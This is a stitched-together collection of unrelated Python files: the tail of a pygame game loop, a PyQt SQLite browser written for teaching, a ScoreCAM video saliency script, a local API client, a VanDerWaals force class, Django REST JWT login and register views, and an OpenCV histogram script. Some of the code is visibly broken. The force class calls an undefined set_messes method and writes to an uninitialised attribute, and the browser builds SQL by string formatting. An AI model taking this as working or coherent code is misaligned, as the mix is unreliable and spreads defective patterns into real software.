        show_minimap = True if cur_keys[pygame.K_TAB] else False

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                logging.info(f"  Longest frame process: {longest_proc_frame} seconds")
                frame_update = 1.0/CN.FPS
                logging.info(f"  Average frame process: {sum(frame_history)/len(frame_history)} seconds")
                logging.info(f"Single frame update max: {frame_update} seconds")
                print("")
                logging.info("            Code status: {}".format("All good\n" if frame_update > longest_proc_frame else "Too heavy\n"))
                sys.exit()

            # elif event.type == pygame.ACTIVEEVENT:
            #     # logging.debug(event)
            #     # logging.debug(event.state)
            #     logging.debug('state:', event.state, '| gain:', event.gain,)
            #     if event.state == 1:
            #         if event.gain == 0:
            #             logging.debug("| mouse out",)
            #         elif event.gain == 1:
            #             logging.debug("| mouse in",)
            #     elif event.state == 2:
            #         if event.gain == 0:
            #             logging.debug("| titlebar pressed",)
            #         elif event.gain == 1:
            #             logging.debug("| titlebar unpressed",)
            #     elif event.state == 6:
            #         if event.gain == 0:
            #             logging.debug("| window minimized",)
            #     elif event.state == 4:
            #         if event.gain == 1:
            #             logging.debug("| window normal",)

            elif event.type == pygame.VIDEORESIZE:
                # logging.debug(f"Resizing to {event.dict['size']}!")
                SCREEN = pygame.display.set_mode(get_proper_screen_size(*event.dict['size']), pygame.HWSURFACE | pygame.DOUBLEBUF | pygame.RESIZABLE)

            # Check for keys being released.
            elif event.type == pygame.KEYUP:
                if event.key == pygame.K_LEFT and local_player.x_velocity < 0 and local_player.dashing < 0:
                    if not pygame.key.get_pressed()[pygame.K_RIGHT]:
                        local_player.stop()
                    else:
                        local_player.go_right()
                if event.key == pygame.K_RIGHT and local_player.x_velocity > 0 and local_player.dashing < 0:
                    if not pygame.key.get_pressed()[pygame.K_LEFT]:
                        local_player.stop()
                    else:
                        local_player.go_left()
                if event.key == pygame.K_DOWN:
                    local_player.standup()
                if event.key == pygame.K_SPACE:
                    local_player.allow_jump()
                if (event.key == pygame.K_LSHIFT and not cur_keys[pygame.K_RSHIFT]) or (event.key == pygame.K_RSHIFT and not cur_keys[pygame.K_LSHIFT]):
                    local_player.allow_dash()
                if event.key == pygame.K_LCTRL and not cur_keys[pygame.K_RCTRL]:
                    if local_player.charge_level > 2:
                        local_player.fire()

            # Check for keys being pressed this frame.
            elif event.type == pygame.KEYDOWN:
                if event.key in (pygame.K_LCTRL, pygame.K_RCTRL):
                    local_player.fire()
                elif event.key == pygame.K_z:
                    local_player.alt_fire()
                elif event.key == pygame.K_i:
                    level.print_data_cache()

            elif event.type == pygame.JOYBUTTONDOWN:
                # logging.debug(f"Joystick button {event.button} pressed.")
                if event.button == 2:
                    local_player.fire()
            elif event.type == pygame.JOYBUTTONUP:
                # logging.debug(f"Joystick button {event.button} released.")
                if event.button == 0:
                    local_player.allow_jump()
                if event.button == 1:
                    local_player.allow_dash()
                if event.button == 2:
                    if local_player.charge_level > 5:
                        local_player.fire()
                    local_player.discharge()

            # Now we check for whether the hat is being pressed/released
            elif event.type == pygame.JOYHATMOTION:
                if event.value[0] == 0:
                    local_player.stop()
                if event.value[1] == 0:
                    local_player.standup()

        CAMERA_SCREEN.fill(CN.BLACK)
        MINIMAP_SCREEN.fill(CN.BLACK)

        # Update info on all players
        proc_start_time = datetime.datetime.now()

        if local_player not in level.all_sprite_list:
            local_player.update()

        level.chat_client.Loop()

        level.update_data()
        # TODO: check for conflicts between local_player local data and server data

        level.all_sprite_list.update()

        player_camera.update(local_player)
        proc_end_time = (datetime.datetime.now() - proc_start_time).total_seconds()
        frame_history.append(proc_end_time)
        if proc_end_time > longest_proc_frame:
            longest_proc_frame = proc_end_time

        # Apply camera
        for s in level.all_sprite_list:
            CAMERA_SCREEN.blit(s.image, player_camera.apply(s))
            MINIMAP_SCREEN.blit(s.image, s.rect)

        SCREEN.blit(pygame.transform.scale(CAMERA_SCREEN, [*SCREEN.get_size()], SCREEN), [0,0])
        if show_minimap:
            MINIMAP_SCREEN.set_alpha(128)
            SCREEN.blit(pygame.transform.scale(MINIMAP_SCREEN, [level.block_width*4, level.block_height*4]),
                        [SCREEN.get_size()[0]-(level.block_width*4), SCREEN.get_size()[1]-(level.block_height*4)])

        # Display debug and/or controls
        if DEBUG:
            text_surf, text_rect = make_text("{}: {}".format('id',str(local_player.__dict__['id'])), CN.WHITE, CN.BLACK, 50, 10)
            SCREEN.blit(text_surf, text_rect)
            i = 1
            text_surf, text_rect = make_text("{}: {}".format('FPS',str(CN.FPS)), CN.WHITE, CN.BLACK, 50, 10+(i*1.1*CN.BASICFONTSIZE))
            SCREEN.blit(text_surf, text_rect)
            i+=1
            for k,v in sorted(local_player.__dict__.items()):
                # logging.debug(k)
                # logging.debug("\t" + str(type(v)))
                if k != 'id' and not callable(v) and not k.startswith("_") and k[0] != k[0].upper() and isinstance(v, (int, bool, list)):
                    text_surf, text_rect = make_text("{}: {} ({})".format(k,str(v), type(v)), CN.WHITE, CN.BLACK, 50, 10+(i*1.1*CN.BASICFONTSIZE))
                    SCREEN.blit(text_surf, text_rect)
                    i += 1
        else:
            text = """Controls:
                    Movement: Arrow Keys or Controller D-Pad
                    Jump: Spacebar or bottom Controller button (X)
                    Dash: Shift or right Controller button (O)
                    Fire: Control or left Controller button ([])"""
            for i, line in enumerate(text.split("\n")):
                text_surf, text_rect = make_text(line.strip(), CN.WHITE, CN.BLACK, 50, 10+(i*1.1*CN.BASICFONTSIZE))
                SCREEN.blit(text_surf, text_rect)

        pygame.display.flip()
        # logging.debug(f'{threading.activeCount()} active threads!')
        FPSCLOCK.tick(CN.FPS)

if __name__ == "__main__":

    mmx_main_path = os.path.normpath(os.path.join(os.path.realpath(__file__), "..", ".."))
    if mmx_main_path not in sys.path:
        sys.path.append(mmx_main_path)
    import MMX_Combat.constants as CN
    logging.basicConfig(level=logging.DEBUG, format=CN.LOG_FMT)
    args = get_args()
    # logging.debug(args)
    test(args)


#!/usr/bin/python3

# This software is distributed under the GNU Lesser General Public License (https://www.gnu.org/licenses/lgpl-3.0.en.html)
# WARNING: This is not a software to be used in production. I write this software for teaching purposes.
# TO DO: There lots of things to be done. This is experimental software and will never finish. But I will do the followings first:
# 1) Save SQL Query as view - done 2017/04/11
# 2) Modify Table is not implemented. Will implement whenever I find time
# 3) Editing SQLite parameters
# 4) Creating Index
# 5) SQL syntax highlight
# 6) Currently all changes done on database. Write Changes, Revert Changes
# 7) ….
# 8) Those features queried by users

import sys
import os

from PyQt5 import QtWidgets, QtCore, QtGui, Qt, QtSql, uic

from apps.pyqt_sqlite.ui import ModifyTableDialog,TYPE_DICT,addUi

from functools import partial
ui_path = os.path.dirname(os.path.abspath(__file__))
mainwindowUi = uic.loadUiType(os.path.join(ui_path, "mainwindow.ui"))[0]

#mainwindowUi = uic.loadUiType("main_window.ui")[0]

app = QtWidgets.QApplication(sys.argv)

__appname__='PyQt SqLite Database Browser'
class SqliteWindow(QtWidgets.QMainWindow, mainwindowUi):
    selectedTable=None
    work_directory=os.path.dirname(os.path.realpath(__file__))
    current_database_file=''
    current_database=None

    def __init__(self, *args):
        super(SqliteWindow, self).__init__(*args)

        QtCore.QCoreApplication.setOrganizationName("mbaser")
        QtCore.QCoreApplication.setOrganizationDomain("foo.org")
        QtCore.QCoreApplication.setApplicationVersion("0.0.1")
        self.current_database = QtSql.QSqlDatabase.addDatabase('QSQLITE')
        self.setupUi(self)
        self.tree_model=QtGui.QStandardItemModel()

        self.treeView.setModel(self.tree_model)
        self.settings=QtCore.QSettings()

        self.recent_files=self.settings.value('recent_files',[])
        self.update_recent_files()

    def setTitle(self, title=None):
        t_str="PyQt SqLite"
        if title:
            t_str += ' [%s]' % title
        self.setWindowTitle(t_str)

    @QtCore.pyqtSlot()
    def on_actionAbout_triggered(self):
        QtWidgets.QMessageBox.about(self, "About this software","This software is written for teaching purposes. Don't use in production!!! My purpose is to demonstrate how PyQt widgets can be used to develop software.\n\n Main developer: Mustafa Baser <mbaser@mail.com>")

    @QtCore.pyqtSlot()
    def on_commandLinkButton_clicked(self):
        dialog=ModifyTableDialog(self)
        dialog.exec_()

    @QtCore.pyqtSlot()
    def on_commandLinkButton_3_clicked(self):
        if self.selectedTable:
            result=QtWidgets.QMessageBox.question(self, "Warning",
                                                     "You are just deleting %s %s. You will lost all the data in %s. Dou you want to delete?" % (
                                                     self.selectedTable[1],
                                                     self.selectedTable[0],
                                                     self.selectedTable[0]
                                                   ))
        if result==QtWidgets.QMessageBox.Yes:
            self.current_database.exec("DROP %s `%s`" % (self.selectedTable[0], self.selectedTable[1]))
            if not self.error_check(self.current_database):
                self.update_tables_table()

    @QtCore.pyqtSlot('QModelIndex', int)
    def on_treeView_expanded(self, ind):
        pass

    @QtCore.pyqtSlot('QModelIndex')
    def on_treeView_clicked(self, ind):

        item=self.tree_model.itemFromIndex(ind.sibling(0,0))

        if hasattr(item,"tableType"):
            self.selectedTable=(item.tableType,ind.sibling(ind.row(),0).data())
            self.commandLinkButton_2.setEnabled(True)
            self.commandLinkButton_3.setEnabled(True)
        else:
            self.commandLinkButton_2.setEnabled(False)
            self.commandLinkButton_3.setEnabled(False)

    def update_tables_table(self):
        self.tree_model.clear()
        self.tree_model.setHorizontalHeaderLabels(['Name', 'Type','Schema'])
        for typ in ('table','view'):
            q=self.current_database.exec("SELECT name FROM sqlite_master WHERE type = '%s'" % typ)
            self.error_check(self.current_database)
            tables=[]
            while q.next():
                tables.append(q.value(0))

            tab_par = QtGui.QStandardItem('%ss (%d)' % (typ.title(),len(tables)))

            for tb in tables:
                if typ=='table': c_icon="sc_inserttable.png"
                else: c_icon="sc_dbviewtablenames.png"
                self.comboBox.addItem(QtGui.QIcon("icons/"+c_icon), tb)
                tb_name=QtGui.QStandardItem(tb)
                tb_name.tableType=typ
                tb_type=QtGui.QStandardItem(typ.title())
                q=self.current_database.exec("SELECT sql FROM sqlite_master WHERE tbl_name = '%s' AND type = '%s'" % (tb,typ))
                tb_schema_str=''
                if q.next():
                    tb_schema_str=q.value(0)
                    tb_schema_str=tb_schema_str.replace("\n", " ")
                    tb_schema_str=tb_schema_str.replace("\t", " ")

                tb_schema=QtGui.QStandardItem(tb_schema_str)

                driver=self.current_database.driver()
                rec=driver.record(tb)
                for i in range(rec.count()):
                    col_name=QtGui.QStandardItem(rec.field(i).name())
                    type_id=rec.field(i).type()
                    if type_id in TYPE_DICT: type_str=TYPE_DICT[type_id]
                    else: type_str=str(type_id)
                    col_type=QtGui.QStandardItem(type_str)

                    tb_name.appendRow([col_name, col_type])

                tab_par.appendRow([tb_name, tb_type, tb_schema])

            self.tree_model.appendRow(tab_par)

    def error_check(self, model):

        error = model.lastError()
        if error.isValid():
            self.show_warning(error.text())
            return True

    @QtCore.pyqtSlot()
    def on_queryExecButton_pressed(self):
        self.queryTableView.setModel(QtSql.QSqlQueryModel())
        query = self.queryTextEdit.toPlainText()
        model = self.queryTableView.model()
        model.setQuery(query)
        self.error_check(model)

    @QtCore.pyqtSlot(str)
    def on_comboBox_currentIndexChanged(self,tbl_name):
        if tbl_name:
            model = QtSql.QSqlTableModel()
            model.setTable('"'+tbl_name+'"')
            model.setEditStrategy(QtSql.QSqlTableModel.OnFieldChange)
            model.select()

            self.error_check(model)
            self.tableView.setModel(model)

    def show_warning(self, text):
        QtWidgets.QMessageBox.warning(self, "Info", "Could not execute query. Error message from database engine is:\n"+ text)

    @QtCore.pyqtSlot()
    def on_newRecordButton_pressed(self):
        model = self.tableView.model()
        model.submitAll()
        result=model.insertRows(model.rowCount(), 1)
        if not result:
            self.error_check(model)

    @QtCore.pyqtSlot()
    def on_reloadTableButton_pressed(self):
        self.tableView.model().select()

    @QtCore.pyqtSlot()
    def on_deleteRecordButton_pressed(self):
        model = self.tableView.model()
        model.removeRow(self.tableView.currentIndex().row())
        model.select()

    @QtCore.pyqtSlot()
    def on_actionClose_triggered(self):
        self.closeDatabase()

    @QtCore.pyqtSlot()
    def on_actionExit_triggered(self):
        self.close()

    @QtCore.pyqtSlot()
    def on_actionNew_triggered(self):
        save_file_dialog=QtWidgets.QFileDialog.getSaveFileName(self, "Name of new database", self.work_directory)
        if save_file_dialog[0]:
            self.loadDatabase(save_file_dialog[0])

    @QtCore.pyqtSlot()
    def on_actionOpen_triggered(self):
        self.fileDialog = QtWidgets.QFileDialog(self)
        self.fileDialog.setDirectory(self.work_directory)

        result=self.fileDialog.getOpenFileName()

        if result[0]:
            self.loadDatabase(result[0])

    @QtCore.pyqtSlot()
    def on_saveQueryAsView_pressed(self):

        model = self.queryTableView.model()

        if model:
            if model.rowCount():
                view_name, result = QtWidgets.QInputDialog.getText(self, __appname__, 'Enter vieww name:')
                if result:
                    query = self.queryTextEdit.toPlainText()
                    query = 'CREATE VIEW {0} AS\n{1}'.format(view_name, query)
                    if not self.execute_query(query):
                        self.update_tables_table()

    def closeDatabase(self):
        if self.current_database:
            if self.current_database.isOpen():
                self.tree_model.clear()
                self.comboBox.clear()
                tbm=self.tableView.model()
                tbm.clear()

                self.current_database.close()
                self.setTitle()
                self.commandLinkButton.setEnabled(False)
                self.actionClose.setEnabled(False)
            print('Clearing "Execute SQL Widgets"')
            #clear "Execute SQL Widgets"
            self.queryTextEdit.clear()
            tableModel=self.queryTableView.model()
            if tableModel:
                tableModel.clear()

            self.queryTableView.setModel(None)
            self.queryResultText.clear()

    def loadDatabase(self, db_file, *args):
        self.closeDatabase()
        self.tree_model.removeRows(0, self.tree_model.rowCount())
        self.work_directory=os.path.dirname(db_file)
        self.current_database_file=os.path.basename(db_file)
        self.current_database.setDatabaseName(db_file)
        if self.current_database.open():
            self.commandLinkButton.setEnabled(True)
            self.actionClose.setEnabled(True)
            self.setTitle(db_file)
            self.update_tables_table()

            if db_file in self.recent_files:
                self.recent_files.remove(db_file)

            self.recent_files.insert(0,db_file)
            self.update_recent_files()

    def update_recent_files(self):
        self.menuOpen_Recent.clear()
        for i, rc in enumerate(self.recent_files):
            recent_file_action=QtWidgets.QAction('&%d %s' % (i+1, rc), self, triggered=partial(self.loadDatabase, rc))
            self.menuOpen_Recent.addAction(recent_file_action)

    def execute_query(self, query):
        self.current_database.exec(query)

        return self.error_check(self.current_database)

    def closeEvent(self, event):

        self.settings.setValue('recent_files', self.recent_files)
        self.closeDatabase()

main = SqliteWindow()
main.show()
sys.exit(app.exec_())


# Author: Xinyi Wang
# Date: 2021/10/05

import cv2
from PIL import Image
import numpy as np
import pandas as pd
import os
import torch
import torch.nn.functional as F
import torchvision.models as models

import scipy.io as io

import sys
sys.path.append('..')
from utils import *
from cam.scorecam import *

def fsam(video_name, framerate):

    torch.cuda.empty_cache()
    # vgg score saliency map
    vgg = models.vgg16(pretrained=True).eval()
    vgg_model_dict = dict(type='vgg16', arch=vgg, layer_name='features_29', input_size=(224, 224))
    vgg_scorecam = ScoreCAM(vgg_model_dict)
    torch.cuda.empty_cache()

    # open the video
    cap = cv2.VideoCapture(video_name)  # Get the video object
    isOpened = cap.isOpened  # Determine if it is open
    # Video information acquisition
    fps = cap.get(cv2.CAP_PROP_FPS)
    torch.cuda.empty_cache()

    imageNum = 0
    sum = 0
    # timef = 30  # Save a picture every 30 frames
    print('framerate:', framerate)
    torch.cuda.empty_cache()

    sum_samp = 0
    while (isOpened):

        sum += 1
        (frameState, frame) = cap.read()  # Recording of each frame and acquisition status
        torch.cuda.empty_cache()
        if frameState == True and (sum % framerate == 0):
            torch.cuda.empty_cache()
            # Format transformation, BGRtoRGB
            frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
            # Convert to Image
            frame = Image.fromarray(np.uint8(frame))
            frame = np.array(frame)
            # RGBtoBGR meets the opencv display format
            frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)

            torch.cuda.empty_cache()
            imageNum = imageNum + 1
            fileName = '../../tmp/video_image_temp/' + str(imageNum) + '.jpg'  # Temporary storage path
            cv2.imwrite(fileName, frame, [cv2.IMWRITE_JPEG_QUALITY, 100])
            # print(fileName + " successfully write in")  # Output storage status
            input_image = load_image(fileName)

            torch.cuda.empty_cache()
            # print(input_image)
            input_ = apply_transforms(input_image)
            if torch.cuda.is_available():
                input_ = input_.cuda()
            predicted_class = vgg(input_).max(1)[-1]

            torch.cuda.empty_cache()
            scorecam_map = vgg_scorecam(input_)
            # print(input_)
            t = scorecam_map.cpu()
            smap = t.numpy()  # tensor 2 numpy
            # print(scorecam_map)
            # print(smap)
            sum_samp += smap

            # Clear temp data
            os.remove(fileName)
            torch.cuda.empty_cache()

        elif frameState == False:
            break
    print('Complete the extraction of video frames!')
    torch.cuda.empty_cache()
    mean_samp = sum_samp / imageNum
    # print(mean_samp)
    mean_samp = np.squeeze(mean_samp)
    io.savemat('../../tmp/tempmat_path/samp.mat', {'mean_samp': mean_samp})

    torch.cuda.empty_cache()

    return mean_samp

if __name__ == "__main__":
    torch.cuda.empty_cache()
    video = "C://Users//um20242//OneDrive - University of Bristol//Documents//PycharmProjects//UoB//RVS-resize//tmp//temp_resize//tmp.avi"
    mean_samp = fsam(video, 24)
    print(mean_samp)


"""
Module to call all API endpoints
Author: Moises Gonzalez
Date: 02/Jul/2023
"""
import requests
import json
import logging
from pathlib import Path

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

URL = "http://127.0.0.1:8000"

with open('config.json', 'r') as f:
    config = json.load(f)

test_data_path = Path(config['test_data_path'])
output_model_path = Path(config['output_model_path'])
test_data_file = test_data_path / "testdata.csv"

def call_api_endpoint(url: str = URL):
    """
    function to call the API endpoints

    Args:
        url: url to call the endpoints to
    """

    logger.info("Calling all functions")
    response1 = requests.get(url + f"/prediction?data={str(test_data_file)}")
    response2 = requests.get(url + "/scoring")
    response3 = requests.get(url + "/summarystats")
    response4 = requests.get(url + "/diagnostics")

    responses = f"\npredictions status_code-> {response1.status_code}\n" \
                f"{response1.content.decode('utf-8')}\n" \
                f"\nscoring status_code-> {response2.status_code}\n" \
                f"{response2.content.decode('utf-8')}\n" \
                f"\nsummarystats status_code-> {response3.status_code}\n" \
                f"{response3.content.decode('utf-8')}\n" \
                f"\ndiagnostics status_code-> {response4.status_code}\n" \
                f"{response4.content.decode('utf-8')}"

    api_returns = output_model_path / "apireturns.txt"
    with open(api_returns, "w") as txt:
        txt.write(responses)
    logger.info(f"API responses saved to -> {api_returns}")

if __name__ == "__main__":
    call_api_endpoint()


import numpy as np
import sys
import scipy.spatial.distance as dist

import pyparticles.forces.force as fr

class VanDerWaals( fr.Force ) :
    def __init__(self , size , dim=3 , m=None , Consts=1.0 ):

        self.__dim = dim
        self.__size = size

        self.__C = Consts # Hamaker coefficient (A)

        self.__A = np.zeros( ( size , dim ) )
        self.__F = np.zeros( ( size , dim ) )
        self.__Fm = np.zeros( ( size , size ) )

        self.__R = np.zeros( ( size , 1 ) )
        if m != None :
            self.set_messes( m )

    def set_masses( self , m ):
        self.__R[:] = m

    def update_force( self , p_set ):

        self.__D[:] = dist.squareform( dist.pdist( p_set.X , 'euclidean' ) )

        return self.__A

    def getA(self):
        return self.__A

    A = property( getA )

    def getF(self):
        return self.__F

    F = property( getF )


from .serializers import *
import logging
from rest_framework import generics, status
from rest_framework.response import Response
from rest_framework_simplejwt.tokens import RefreshToken

logger = logging.getLogger(__name__)

def get_tokens_for_user(user):
    refresh = RefreshToken.for_user(user)

    return {
        'refresh': str(refresh),
        'access': str(refresh.access_token),
    }

class RegisterUserAPIView(generics.CreateAPIView):
    serializer_class = RegisterUserSerializer

    def post(self, request, *args, **kwargs):
        try:
            serializer = RegisterUserSerializer(data=request.data)
            if serializer.is_valid():
                self.perform_create(serializer)
                return_data = serializer.data
                return_data['token'] = get_tokens_for_user(serializer.instance)
                response = Response(return_data, status=status.HTTP_201_CREATED)
                return response
            return Response({"message": serializer.errors}, status=status.HTTP_400_BAD_REQUEST)
        except Exception as e:
            logger.error(e.__cause__)
            logger.error(e)
            return Response({"message": e.__cause__}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

class UserLoginAPIView(generics.GenericAPIView):
    serializer_class = UserLoginSerializer

    def post(self, request, *args, **kwargs):
        try:
            serializer = UserLoginSerializer(data=request.data)
            if serializer.is_valid():
                ret_data = UserSerializers(serializer.instance, many=False).data
                ret_data['token'] = get_tokens_for_user(serializer.instance)
                resp = Response(ret_data, status=status.HTTP_200_OK)
                return resp
            return Response({"message": serializer.errors}, status=status.HTTP_400_BAD_REQUEST)
        except Exception as e:
            logger.error(e.__cause__)
            logger.error(e)
            return Response({"message": e.__cause__}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)


import numpy as np
import argparse
import cv2

ap = argparse.ArgumentParser()
ap.add_argument("-i", "--image", required = True, help = "Image pathname")
args = vars(ap.parse_args())

image = cv2.imread(args["image"])
image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

eq = cv2.equalizeHist(image)

cv2.imshow("Histogram Equalisation", np.hstack([image, eq]))
cv2.waitKey(0)